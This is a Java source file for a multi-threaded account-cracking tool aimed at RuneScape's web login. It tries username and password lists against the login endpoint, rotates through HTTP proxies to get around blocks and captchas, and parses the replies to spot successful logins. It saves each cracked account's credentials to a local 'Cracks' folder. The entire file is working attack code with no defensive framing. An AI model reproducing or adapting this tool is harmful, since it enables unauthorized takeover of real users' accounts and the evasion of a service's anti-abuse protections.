/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package xarrebornv2; /** * * @author cohen */ import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileWriter; import java.io.OutputStreamWriter; import java.io.IOException; import java.io.InputStreamReader; import java.net.InetSocketAddress; import java.net.Proxy; import java.net.SocketAddress; import java.net.URL; import java.net.HttpURLConnection; import java.util.ArrayList; class CrackThread extends Thread { private final ArrayList users; private final ArrayList proxies; private final ArrayList passwords; private final int nThread; private static int crackCount = 0; public CrackThread(ArrayList users, ArrayList proxies, ArrayList passwords, int nThread) { this.users = users; this.proxies = proxies; this.passwords = passwords; this.nThread = nThread; start(); } @Override public void run() { System.out.println("Started"); int cUser = 0, cPass = 0, cProxy = 0; while (users.size() > cUser) { if (proxies.size() == cProxy) { cProxy = 0; } if (passwords.size() == cPass) { cPass = 0; cUser++; if (users.size() == cUser) { break; } } switch (crackAccount(users.get(cUser), passwords.get(cPass), cProxy)) { case -1: System.out.println(crackCount + "#" + nThread + " Error with Proxy: " + proxies.get(cProxy)); cProxy++; break; case 0: System.out.println(crackCount + "#" + nThread + " Login Blocked: User " + users.get(cUser)+ " Pass: " + passwords.get(cPass)); cProxy++; break; case 1: boolean isBlocked = false; try { isBlocked = isCaptchaBlocked(cProxy); } catch(Exception e) { e.printStackTrace(); } if(!isBlocked) { System.out.println(crackCount + "#" + nThread + " Invalid Password: User " + users.get(cUser)+ " Pass: " + passwords.get(cPass)); crackCount++; cPass++; } if(isBlocked) { System.out.println(crackCount + "#" + nThread + " Login Blocked (Captcha): User " + users.get(cUser)+ " Pass: " + passwords.get(cPass)); cProxy++; } break; case 2: System.out.println("#" + nThread + " Account Cracked: User " + users.get(cUser) + " Pass: " + passwords.get(cPass)); writeCrack(users.get(cUser), passwords.get(cPass)); cPass = 0; cUser++; break; } } } public boolean isCaptchaBlocked(int pIndex) throws Exception { SocketAddress addr = new InetSocketAddress(splitProxy(proxies.get(pIndex)), splitPort(proxies.get(pIndex))); Proxy proxy = new Proxy(Proxy.Type.HTTP, addr); HttpURLConnection connection = (HttpURLConnection)new URL("https://weblogin.runescape.com/loginform.ws?mod=billing_core&ssl=1&dest=userdetails.ws").openConnection(proxy); String str = ""; BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); while(reader.readLine() != null) { str += reader.readLine() + "\r\n"; } if(str.indexOf("Get a new Captcha") > -1) { return true; } return false; } private String splitProxy(String proxy) { String[] myString; myString = proxy.split(":"); return myString[0]; } private int splitPort(String proxy) { String[] myString; myString = proxy.split(":"); return Integer.parseInt(myString[1]); } private int crackAccount(String userName, String password, int pIndex) { String reply = getWPage("https://weblogin.runescape.com/login.ws", "mod=ticketing&ssl=1&username="+ userName + "&password=" + password + "&dest=inbox.ws", pIndex); if (reply == null) { return -1; } if (reply.indexOf("You have been blocked") > 0) { return 0; } else if (reply.indexOf("username or password you entered was incorrect") > 0) { return 1; } else if (reply.indexOf("logged in") > 0) { return 2; } else if (reply.indexOf("login was successful") > 0) { return 2; } return -1; } private String getWPage(String url, String data, int pIndex) { String str = ""; try { SocketAddress addr = new InetSocketAddress(splitProxy(proxies.get(pIndex)), splitPort(proxies.get(pIndex))); Proxy proxy = new Proxy(Proxy.Type.HTTP, addr); URL Url = new URL(url); HttpURLConnection connection = (HttpURLConnection)Url.openConnection(proxy); connection.setRequestMethod("POST"); connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); connection.setRequestProperty("Content-Length", "" + data.length()); connection.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"); connection.setConnectTimeout(10000); connection.setReadTimeout(40000); connection.setDoOutput(true); OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream()); out.write(data); out.flush(); out.close(); BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; while((line = reader.readLine()) != null) { str += line + "\r\n"; } return str; } catch (Exception e) { return null; } } private void writeCrack(String username, String password) { try { BufferedWriter out = new BufferedWriter(new FileWriter("Cracks/" + username + ".txt")); out.write(username + ":" + password); out.close(); } catch (IOException e) { e.printStackTrace(); System.exit(1); } } }